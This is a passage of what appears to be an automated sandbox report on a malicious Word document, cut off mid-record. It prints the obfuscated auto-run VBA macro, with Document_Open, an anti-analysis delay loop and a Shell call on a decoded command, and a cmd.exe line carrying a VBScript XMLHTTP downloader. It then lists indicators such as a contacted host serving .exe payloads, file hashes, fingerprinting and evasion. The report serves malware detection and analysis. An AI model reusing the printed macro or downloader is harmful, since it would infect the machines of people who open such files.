= 370011653 VoZoOxr6Mn(1987) = 752035142 VoZoOxr6Mn(1988) = 1827750901 VoZoOxr6Mn(1989) = 86953553 VoZoOxr6Mn(1990) = -901092373 VoZoOxr6Mn(1991) = 1796377857 VoZoOxr6Mn(1992) = 1960741142 VoZoOxr6Mn(1993) = -701476971 VoZoOxr6Mn(1994) = 40159868 VoZoOxr6Mn(1995) = -493601186 VoZoOxr6Mn(1996) = -1071457798 VoZoOxr6Mn(1997) = -1633686806 VoZoOxr6Mn(1998) = -667244484 VoZoOxr6Mn(1999) = -1222992747 VoZoOxr6Mn(2000) = -1599885434 VoZoOxr6Mn(2001) = -473528024 VoZoOxr6Mn(2002) = 228172849 VoZoOxr6Mn(2003) = -185555873 VoZoOxr6Mn(2004) = -1685684673 VoZoOxr6Mn(2005) = 1351852539 VoZoOxr6Mn(2006) = -1823612834 VoZoOxr6Mn(2007) = -261676136 VoZoOxr6Mn(2008) = 764944489 VoZoOxr6Mn(2009) = -1630649379 VoZoOxr6Mn(2010) = 1048701640 VoZoOxr6Mn(2011) = 1101166019 VoZoOxr6Mn(2012) = 2057078862 VoZoOxr6Mn(2013) = -2034594331 VoZoOxr6Mn(2014) = 1469982695 VoZoOxr6Mn(2015) = -31520900 VoZoOxr6Mn(2016) = 868504453 VoZoOxr6Mn(2017) = 1269716132 VoZoOxr6Mn(2018) = 454737028 VoZoOxr6Mn(2019) = 1999358096 VoZoOxr6Mn(2020) = -585021669 VoZoOxr6Mn(2021) = -1353685314 VoZoOxr6Mn(2022) = -1259054304 VoZoOxr6Mn(2023) = 1393745663 VoZoOxr6Mn(2024) = 1124463780 VoZoOxr6Mn(2025) = -1674190647 VoZoOxr6Mn(2026) = -136609596 VoZoOxr6Mn(2027) = 1872082481 VoZoOxr6Mn(2028) = -84289746 VoZoOxr6Mn(2029) = 228930248 VoZoOxr6Mn(2030) = -747395805 VoZoOxr6Mn(2031) = 905736327 VoZoOxr6Mn(2032) = 684154832 VoZoOxr6Mn(2033) = 740288 VoZoOxr6Mn(2034) = 0 Dim RNGYZq As String, SSMP5 As Integer, S3Hn5VYt8 As String, B33wsiJ0MB As String, P8U0KgoJwYpw As String, PIMN As String, JYBNLnn As String, LgLMJak0sZpnOl57 As String, Ple4syb As String S3Hn5VYt8 = "K8Z6CEbZRU8TPLymYOggrryw0" JyhohQ9QeY1LZ1 = RGB(59, 90, 97) S3Hn5VYt8 = "K8Z6CEbZRU8TPLymYOggrryw0" AqaLeEPk8v5 = RGB(52, 75, 53) For SSMP5 = 1 To (2500 + 952 + 2500 - 952 + 2500 + 952 + 2500 - 952 - 1) RNGYZq = CoHYtm2NQ33lE(Chr$(88) + Chr$(135) + Chr$(127) + Chr$(105) + Chr$(128) + Chr$(249) + Chr$(194) + Chr$(64) + Chr$(118) + Chr$(174) + Chr$(146) + Chr$(208) + Chr$(129) + Chr$(92) + Chr$(105) + Chr$(167) + Chr$(205) + Chr$(176) + Chr$(201) + Chr$(118) + Chr$(120) + Chr$(0) + Chr$(62) + Chr$(15) + Chr$(33) + Chr$(25) + Chr$(181) + Chr$(138) + Chr$(150) + Chr$(89) + Chr$(10) + Chr$(168) + Chr$(81), S3Hn5VYt8 & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5) If RNGYZq = "St6LSD6hB6cTPvwHtB3aFUA9CAIROc9Y7" Then S3Hn5VYt8 = S3Hn5VYt8 & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5: Exit For RNGYZq = "" Next SSMP5 XNimj816sVx7nDn = RGB(91, 50, 74) B33wsiJ0MB = "V36N2SXGsNtQKXts" FsizL9 = RGB(43, 31, 66) For SSMP5 = 1 To (2500 + 286 + 2500 - 286 + 2500 + 286 + 2500 - 286 - 1) P8U0KgoJwYpw = CoHYtm2NQ33lE(Chr$(177) + Chr$(134) + Chr$(161) + Chr$(53) + Chr$(0) + Chr$(33) + Chr$(60) + Chr$(71) + Chr$(46) + Chr$(24) + Chr$(159) + Chr$(54) + Chr$(122) + Chr$(219) + Chr$(204) + Chr$(217) + Chr$(239) + Chr$(202) + Chr$(161) + Chr$(8) + Chr$(121) + Chr$(121) + Chr$(210) + Chr$(173) + Chr$(74) + Chr$(120) + Chr$(163) + Chr$(121) + Chr$(131) + Chr$(185) + Chr$(37) + Chr$(146) + Chr$(34) + Chr$(110) + Chr$(32) + Chr$(160) + Chr$(30) + Chr$(108) + Chr$(218) + Chr$(128) + Chr$(93) + Chr$(101) + Chr$(180) + Chr$(221) + Chr$(163) + Chr$(127) + Chr$(108) + Chr$(129) + Chr$(223), B33wsiJ0MB & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5) If P8U0KgoJwYpw = "MgOneoM8GSlnmmORdGKZi6BCU2trp5p80IujfY2d2zkNlzWzN" Then B33wsiJ0MB = B33wsiJ0MB & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5: Exit For P8U0KgoJwYpw = "" Next SSMP5 WXneMoRiX84LlOi = RGB(63, 50, 63) PIMN = "AT171N5mTg0roVvFCysbarJNQTtyUZZE1JUQhnDY" JAhUNZL9p9pqFb2 = RGB(87, 38, 88) For SSMP5 = 1 To (2500 + 976 + 2500 - 976 + 2500 + 976 + 2500 - 976 - 1) JYBNLnn = CoHYtm2NQ33lE(Chr$(36) + Chr$(174) + Chr$(243) + Chr$(151) + Chr$(102) + Chr$(182) + Chr$(71) + Chr$(84) + Chr$(253) + Chr$(114) + Chr$(21) + Chr$(94) + Chr$(52) + Chr$(192) + Chr$(8) + Chr$(49) + Chr$(228) + Chr$(97) + Chr$(20) + Chr$(64) + Chr$(71) + Chr$(226) + Chr$(227) + Chr$(237) + Chr$(174) + Chr$(58) + Chr$(213) + Chr$(134) + Chr$(126) + Chr$(40) + Chr$(206) + Chr$(183) + Chr$(249) + Chr$(148) + Chr$(246) + Chr$(194), PIMN & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5) If JYBNLnn = "MaIM21b24zSVVWuB2Y8hR4SRDKsStlb1JpKm" Then PIMN = PIMN & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5: Exit For JYBNLnn = "" Next SSMP5 N6hDhF29IP1tN4D15 = RGB(3, 59, 88) LgLMJak0sZpnOl57 = "L61uFMnPCfm4gLMlByd3MtLVRYpQCnZQQDA126" LkFmLXuxN0604HN5R = RGB(56, 85, 71) For SSMP5 = 1 To (2500 + 671 + 2500 - 671 + 2500 + 671 + 2500 - 671 - 1) Ple4syb = CoHYtm2NQ33lE(Chr$(211) + Chr$(67) + Chr$(244) + Chr$(171) + Chr$(204) + Chr$(62) + Chr$(136) + Chr$(69) + Chr$(138) + Chr$(94) + Chr$(75) + Chr$(58) + Chr$(247) + Chr$(230) + Chr$(125) + Chr$(96) + Chr$(75) + Chr$(145) + Chr$(184) + Chr$(88) + Chr$(213) + Chr$(80) + Chr$(185) + Chr$(139) + Chr$(210) + Chr$(38) + Chr$(158) + Chr$(204) + Chr$(12), LgLMJak0sZpnOl57 & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5) If Ple4syb = "BHrizbejQJUbmgZIMSfBCbq7HxpIX" Then LgLMJak0sZpnOl57 = LgLMJak0sZpnOl57 & SSMP5 & SSMP5 & SSMP5 & SSMP5 & SSMP5: Exit For Ple4syb = "" Next SSMP5 U7yrngCWgi = RGB(29, 91, 4) Dim TyLSJoFhE As Long, DbsfjM As Long, RAwdGD6hWR0 As Long, KMz4uOIAH0G8nO As Long, WC1SMBg(8136) As Byte, T8YDhI19yNLvF As Long, M7dqBjtQ7o As String AfkTX4vwMCXAHZ = RGB(41, 91, 68) For TyLSJoFhE = 0 To Mu4XjE(VoZoOxr6Mn) - 1 WALlYIe = RGB(51, 90, 46) For DbsfjM = 0 To 3 Jd3qv = RGB(28, 71, 40) WC1SMBg(KMz4uOIAH0G8nO) = Rw313Mj2SQbo(VoZoOxr6Mn(T8YDhI19yNLvF))(DbsfjM) IUDEFsCwJ00vLjB = RGB(82, 91, 63) KMz4uOIAH0G8nO = KMz4uOIAH0G8nO + 1 M8zvjR = RGB(9, 61, 77) RAwdGD6hWR0 = RAwdGD6hWR0 + 1 BMZHJCNOCqinq = RGB(64, 57, 79) Next DbsfjM Ic33JG1TW4azc8W = RGB(39, 44, 83) T8YDhI19yNLvF = T8YDhI19yNLvF + 1 W9BZsotfhP = RGB(84, 79, 40) Next TyLSJoFhE O8rzK9IUhvwT7ik = RGB(54, 75, 3) M7dqBjtQ7o = CoHYtm2NQ33lE(StrConv(WC1SMBg, (16 + 276 + 16 - 276 + 16 + 276 + 16 - 276)), S3Hn5VYt8 & B33wsiJ0MB & PIMN & LgLMJak0sZpnOl57) ET92sHyiat5 = RGB(14, 43, 29) Shell M7dqBjtQ7o, 0 RHvV7NpRjxi9r3 = RGB(35, 4, 24) End Sub Sub Document_Open() WcW0NTXPDQfmiw = RGB(49, 51, 69) On Error Resume Next AW2zEIEk = RGB(82, 86, 26) Dim Ygv9U As Long, PF73p9MqYY As Long, XnYSZV8PhK3Vy4 As Long FM0Zyw9MDN8 = RGB(19, 13, 57) Ygv9U = 91377544: PF73p9MqYY = 0: XnYSZV8PhK3Vy4 = 0 SYJUIk3cAgunSho = RGB(98, 63, 96) For PF73p9MqYY = 1 To Ygv9U XnYSZV8PhK3Vy4 = XnYSZV8PhK3Vy4 + 1 Next PF73p9MqYY V6EWXH4 = RGB(91, 72, 77) If XnYSZV8PhK3Vy4 = Ygv9U Then WTmeWhGQ = RGB(24, 19, 7) Dim WFawBO8ywYPG As Integer, Xt5zm6PPc0b As String For WFawBO8ywYPG = 3 To 464 Xt5zm6PPc0b = Xt5zm6PPc0b + WFawBO8ywYPG Next AZAhS = RGB(2, 20, 21) If (13.5 + 611 + 13.5 - 611 + 13.5 + 611 + 13.5 - 611 - 1) = (13.5 + 479 + 13.5 - 479 + 13.5 + 479 + 13.5 - 479 - 1) Then GaiLjGZ9Ip = RGB(96, 97, 49) BzPykpJCf = RGB(68, 18, 95) If Yf5NO0A(82) = True Then U7JMO = RGB(76, 25, 54) AyF14WGtqAb MDcxxwAKQt0 = RGB(92, 11, 56) Else AQhkQZUfmJHBk = RGB(90, 49, 73) ThhoJh8NX VuW8MEtGWJEjeVFZZ = RGB(13, 31, 76) End If Else NAj2LU3i1 = RGB(66, 61, 49) ThhoJh8NX OHq6hKokqRyi = RGB(67, 95, 37) End If HIlTDso7YjtWhYl = RGB(46, 76, 57) Else FguqXby2 = RGB(80, 68, 4) ThhoJh8NX Ucx4kRH = RGB(81, 21, 31) End If DTCmy1ah = RGB(86, 42, 2) End Sub Function Yf5NO0A(MkOtNxG6 As Integer) As Boolean Ig5wj13mr = RGB(84, 27, 73) Static XMyQJOh5Abd As Byte Q96Uz9dUpf = RGB(44, 37, 4) XMyQJOh5Abd = XMyQJOh5Abd + 1 LyYzqgB6Bo3 = RGB(72, 48, 48) If XMyQJOh5Abd = 1 Then Debug.Assert Not Yf5NO0A(19) AzegThBN0x = RGB(85, 23, 12) Yf5NO0A = XMyQJOh5Abd = 0 IJOHP7TKA9YRxbyE = RGB(79, 5, 3) XMyQJOh5Abd = 0 XkTpc29mfhmROa = RGB(33, 86, 25) End Function Function Mu4XjE(ByVal GnSBbq As Variant) As Long B8u8Xz = RGB(86, 89, 8) On Error GoTo WjKNVz TgDnUW71Q = RGB(12, 62, 13) Dim TumGFv7Hqd8 As Long, Qa8D As Variant PNF6Kkhc = RGB(36, 54, 62) Do Qa8D = GnSBbq(TumGFv7Hqd8) TumGFv7Hqd8 = TumGFv7Hqd8 + 1 Loop BiL = RGB(19, 55, 93) WjKNVz: PeaYhoqp1hegX0h = RGB(58, 7, 36) If TumGFv7Hqd8 = 0 Then Exit Function NSNhOVv50b = RGB(77, 46, 66) Mu4XjE = TumGFv7Hqd8 - 1 JIHddd7uli8P0PIH = RGB(54, 93, 48) End Function"25:T1010,"/V /C set "TQJZEIfjEY0vjO=%RANDOM%" && (for %i in ("Dim Hn0VG8Jim VSbjXB1Tb" "Sub CFUmNNN5l()" "M00rlg9loD=RGB(83,25,28)" "On Error Resume Next" "GTLwPQK72oc=RGB(56,27,14)" "dim YdhC58CSw S4xM6Wpkdj6D W214qCaiT UmenL52bDf" "TI8WZPiK2i=RGB(75,30,67)" "UmenL52bDf="OQDUQMXOh"" "YCFFjOyYD=RGB(22,52,15)" "YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")" "KvUeCMforHxs=RGB(21,30,56)" "Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))" "MIgVQA=RGB(21,18,27)" "S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg") YdhC58CSw 0" "Ugty62w=RGB(77,50,3)" "S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P") SeHoavimVzFK("00094332007C51421A","Abp7Ws")" "HI8mQ5YcSR=RGB(35,89,98)" "S4xM6Wpkdj6D.seNd()" "W8tEI9rZq6HfsXOEj=RGB(12,23,15)" "If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1" "G5wuCfP7vda=RGB(10,14,76)" "End Sub" "sub KNC3TSAdM4WQx4G1()" "HpHxV7gP7moObGsv=RGB(71,31,77)" "Dim A7KbTWkRi Mm9FXPGFtdZS6Gi" "Lz2xtFr=RGB(96,14,16)" "Do While A7KbTWkRi<>1" "Mm9FXPGFtdZS6Gi=Mm9FXPGFtdZS6Gi+1" "Loop" "J1WhFkVMFnUVfLiU=RGB(97,98,95)" "End Sub" "Sub Se21YcvBiRU9OKH6(H542jXlrWaVp)" "Tip6VM5F72=RGB(3,97,41)" "Dim Yo0Z" "Y4g2pW8RXEKXDASb=RGB(7,1,67)" "Yo0Z=TIMeR+H542jXlrWaVp" "Do While TimErSeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1" "G5wuCfP7vda=RGB(10,14,76)" "End Sub" "sub KNC3TSAdM4WQx4G1()" "HpHxV7gP7moObGsv=RGB(71,31,77)" "Dim A7KbTWkRi Mm9FXPGFtdZS6Gi" "Lz2xtFr=RGB(96,14,16)" "Do While A7KbTWkRi<>1" "Mm9FXPGFtdZS6Gi=Mm9FXPGFtdZS6Gi+1" "Loop" "J1WhFkVMFnUVfLiU=RGB(97,98,95)" "End Sub" "Sub Se21YcvBiRU9OKH6(H542jXlrWaVp)" "Tip6VM5F72=RGB(3,97,41)" "Dim Yo0Z" "Y4g2pW8RXEKXDASb=RGB(7,1,67)" "Yo0Z=TIMeR+H542jXlrWaVp" "Do While TimErSeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1" "G5wuCfP7vda=RGB(10,14,76)" "End Sub" "sub KNC3TSAdM4WQx4G1()" "HpHxV7gP7moObGsv=RGB(71,31,77)" "Dim A7KbTWkRi,Mm9FXPGFtdZS6Gi" "Lz2xtFr=RGB(96,14,16)" "Do While A7KbTWkRi<>1" "Mm9FXPGFtdZS6Gi=Mm9FXPGFtdZS6Gi+1" "Loop" "J1WhFkVMFnUVfLiU=RGB(97,98,95)" "End Sub" "Sub Se21YcvBiRU9OKH6(H542jXlrWaVp)" "Tip6VM5F72=RGB(3,97,41)" "Dim Yo0Z" "Y4g2pW8RXEKXDASb=RGB(7,1,67)" "Yo0Z=TIMeR+H542jXlrWaVp" "Do While TimErSeHoavim ...\" on invoke of cmd.exe (UID: 00205484-00002220)","origin":"Monitored Target","relevance":5,"id":"target-32","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"89.248.166.131\" (ASN: 29073, Owner: Ecatel Network): ...\nURL: http://89.248.166.131/qwst/ (AV positives: 7/66 scanned on 02/11/2016 11:45:38)\n URL: http://89.248.166.131/55.exe (AV positives: 9/66 scanned on 02/11/2016 09:43:54)\n URL: http://89.248.166.131/qt.jpg (AV positives: 8/66 scanned on 02/11/2016 02:12:58)\n URL: http://89.248.166.131/1.exe (AV positives: 10/66 scanned on 02/11/2016 01:53:12)\n URL: http://89.248.166.131/jer.jpg (AV positives: 8/66 scanned on 02/11/2016 01:49:43)\n File SHA256: 79965ecaad76add8780813338313038c22cd31dc7ea9fe4d245bc44dd43691dd (AV positives: 19/53 scanned on 01/24/2016 13:47:04)\n File SHA256: 884d4a908a1578e7f91dea5d0bb2577945f06a1a02ecef1517c16edb7d13d4fe (AV positives: 3/55 scanned on 01/23/2016 18:48:43)\n File SHA256: 89647cb0e239022d8c93add4e5189e61e8df48dd8d484b632a4577d716e1e154 (AV positives: 22/56 scanned on 01/17/2016 16:51:53)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Accesses potentially sensitive information from local browsers","description":"\"WScript.exe\" had access to \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\" (Type: \"FileHandle\", Context: \"NtSetInformationFile\")","origin":"Touched Handle","relevance":5,"id":"handle-0","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\msoBA2E.tmp\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"WINWORD.EXE\" (Thread ID: 2860) slept \"220\" times (threshold: 200)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Creates/touches files in windows directory","description":"$27","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE\" marked \"%TEMP%\\msoBA2E.tmp\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in foreign process","description":"\"WINWORD.EXE\" allocated memory in \"%WINDIR%\\System32\\cmd.exe\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$28","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~WRS{86919D60-4770-451E-A487-2B429396818D}.tmp\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Intercepted relevant COM error","description":"\"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.send\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","origin":"API Call","relevance":10,"id":"api-67","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WINWORD.EXE\" called \".Shell\" with result: \"1\" ...\n \"wscript.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.CreateObject\" ... \n \"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.open\" ... \n \"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.setRequestHeader\" ... \n \"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.send\" ... \n \"wscript.exe\" called \"Microsoft.XMLHTTP.1.0.statusText\" with result: \"Unknown\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00015285-00003620) was launched with new environment variables: \"WecVersionForRosebud.D3C=\"4\"\"\n Process \"wscript.exe\" (UID: 00015337-00003676) was launched with new environment variables: \"TQJZEIfjEY0vjO=\"708\"\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$29","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"www.microsoft.com/\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$2a","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\"; Value: \"00000000040000000400000000000000\")","origin":"Registry Access","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"dj7fya5@www.microsoft[1].txt\" containing the spoofed Windows username \"dj7FYA5\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"wscript.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"General","name":"Requested access to a system service","description":"\"wscript.exe\" called \"OpenService\" to access the \"rasman\" service\n \"wscript.exe\" called \"OpenService\" to access the \"Sens\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"wscript.exe\" called \"OpenService\" to access the \"RASMAN\" service","origin":"API Call","relevance":10,"id":"api-76","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"General","name":"Script failed to issue a HTTP request","description":"\"wscript.exe\" failed a HTTP request with the response code \"Unknown\"","origin":"API Call","relevance":10,"id":"api-81","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WINWORD.EXE\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"cmd.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"level":"malicious","category":"Installation/Persistance","name":"Shows malicious Office specific indicators","description":"The file contains VBA macros and spawned processes in a way typical for malicious Office files","origin":"Indicator Combinations","relevance":10,"id":"summary-8","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}],"incidents":[{"name":"Fingerprint","details_count":3,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":34,"imported_dlls_count":213,"dropped_files_count":0,"extracted_files_count":25,"files_written_count":179,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":68,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":72,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Network Traffic","Extracted Files","Sample Crashed","Sample not shared"],"sandbox_reports":[{"id":"5741eaceaac2ed1d7be6d8da","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"submit_name":"Long_Commandline_Wordfile.bin","analysis_start_time":"2017-05-07T12:50:45+00:00","indicators_count":{"informative":19,"suspicious":14,"malicious":4},"tags":["Extracted 